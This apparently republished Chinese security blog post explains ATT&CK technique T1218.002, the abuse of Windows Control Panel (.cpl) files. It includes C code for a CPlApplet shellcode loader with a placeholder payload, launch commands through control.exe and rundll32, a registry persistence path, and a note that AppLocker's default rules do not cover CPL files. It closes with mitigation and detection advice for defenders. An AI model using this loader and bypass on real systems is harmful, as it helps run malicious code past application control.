T1218.002 Control Panel滥用

  • A+
所属分类:安全闲碎

cpl文件

CPL文件,是Windows控制面板扩展项,CPL全拼为Control Panel Item在system32目录下有一系列的cpl文件,分别对应着各种控制面板的子选项


T1218.002 Control Panel滥用

例如:

inetcpl.cpl,IE设置

joy.cpl,游戏控制器设置

mmsys.cpl,声音与音频设置

intl.cpl,区域与语言设置

ncpa.cpl,网络连接

netsetup.cpl,网络安装向导

nusrmgr.cpl,用户帐户

odbccp32.cpl,ODBC数据源管理器

wscui.cpl,Windows安全中心

wuaucpl.cpl,自动更新配置

igfxcpl.cpl,Intel集成显卡设置

nvcpl.cpl,nVidia显卡设置(NVIDIA控制面板)

access.cpl,辅助功能选项

appwiz.cpl,添加或删除程序

desk.cpl,显示属性

firewall.cpl,防火墙设置

hdwwiz.cpl,添加硬件向导

sysdm.cpl 我的电脑右键属性


cpl文件本质是属于PE文件

T1218.002 Control Panel滥用

但cpl并不像exe,更像是dll,无法直接打开,只能以加载的形式运行。并且有一个导出函数CPlApplet该函数是控制面板应用程序的入口点,它被控制面板管理程序自动调用,且是个回调函数。


如何打开cpl

1.双击或者win+r xxx.cpl
2.control <文件名>
3.rundll32 shell32.dll,Control_RunDLL <文件名>

注意:

所有rundll32 shell32.dll,Control_RunDLL的命令均可用control替代,control.exe实质调用了rundll32.exe。打开后找不到control.exe进程,只能找到rundll32.exe。


4.vbs脚本

Dim obj Set obj = CreateObject("Shell.Application") obj.ControlPanelItem("C:Users11793Desktopcpl.cpl")

5.js脚本

var a = new ActiveXObject("Shell.Application"); a.ControlPanelItem("C:\Users\11793\Desktop\cpl.cpl");

创建一个CPL文件

最简单的方式:直接创建一个dll,无需导出函数,然后改后缀名

BOOL APIENTRY DllMain( HMODULE hModule,                                                                 DWORD  ul_reason_for_call,                                                                 LPVOID lpReserved                      ){            switch (ul_reason_for_call)                 {                           case DLL_PROCESS_ATTACH:                               WinExec("Calc.exe", SW_SHOW);                           case DLL_THREAD_ATTACH:                           case DLL_THREAD_DETACH:                           case DLL_PROCESS_DETACH:                                        break;     }                                    return TRUE; }


同样我们也可以加载CS的shellcode

#include "pch.h"#include "windows.h"

extern "C" __declspec(dllexport) VOID CPlApplet(HWND hwndCPl, UINT msg, LPARAM lParam1, LPARAM lParam2){ MessageBoxA(0, NULL, "test", MB_OK); /* length: 835 bytes */ unsigned char buf[] = "shellcode"; LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, buf, sizeof(buf)); ((void(*)())Memory)();}BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}


将其注册到HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCpls


T1218.002 Control Panel滥用


启动control.exe,就可以执行我们的cpl


T1218.002 Control Panel滥用

bypass Windows AppLocker

AppLocker即“应用程序控制策略”,是Windows 7系统中新增加的一项安全功能。在win7以上的系统中默认都集成了该功能。


默认的Applocker规则集合,可以看到cpl并不在默认规则中:


T1218.002 Control Panel滥用



缓解措施

M1038

执行预防 在适当的情况下,使用应用程序控制工具(如 Windows Defender 应用程序控制、AppLocker、或软件限制策略)识别和阻止潜在的恶意和未知 .cpl 文件。

M1022

限制文件和目录权限 将控制面板项目的存储和执行限制在受保护的目录中,例如C:Windows,而不是用户目录。

检测

涉及与CPL文件,如CONTROL.EXE和相关项目监测和分析活动Control_RunDLL,并ControlRunDLLAsUser在shell32.dll中的API函数。


当从命令行执行或单击时,control.exe 将control.exe file.cplRundll32用于调用 CPL 的 API 函数(例如:)之前执行 CPL 文件(例如:)rundll32.exe shell32.dll,Control_RunDLL file.cpl


CPL 文件可以通过 CPL API 函数直接执行,只需使用后面的Rundll32命令,这可能会绕过 control.exe 的检测和/或执行过滤器。


用于定位系统上存在的未注册和潜在恶意文件的库存控制面板项目:

  • 可执行格式注册控制面板项将具有全局唯一标识符(GUID)和在注册的注册表项HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerControlPanelNameSpaceHKEY_CLASSES_ROOTCLSID{{GUID}}。这些条目可能包含有关控制面板项目的信息,例如其显示名称、本地文件的路径以及在控制面板中打开时执行的命令。

  • 存储在 System32 目录中的 CPL 格式注册的控制面板项目会自动显示在控制面板中。其他控制面板项目将在CPLs和 的Extended Properties注册表项中有注册条目HKEY_LOCAL_MACHINE or HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionControl Panel。这些条目可能包括诸如 GUID、本地文件路径和用于以编程方式 ( WinExec("c:windowssystem32control.exe {{Canonical_Name}}", SW_NORMAL);) 或从命令行 ( control.exe /name {{Canonical_Name}})启动文件的规范名称等信息。

  • 某些控制面板项可通过注册的 Shell 扩展进行扩展,HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionControls Folder{{name}}ShellexPropertySheetHandlers其中 {{name}} 是系统项的预定义名称。


分析新的控制面板项目以及磁盘上存在的恶意内容。可执行文件和 CPL 格式都是兼容的可移植可执行文件 (PE) 图像,可以使用传统工具和方法进行检查,


本文始发于微信公众号(黑白天实验室):T1218.002 Control Panel滥用

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: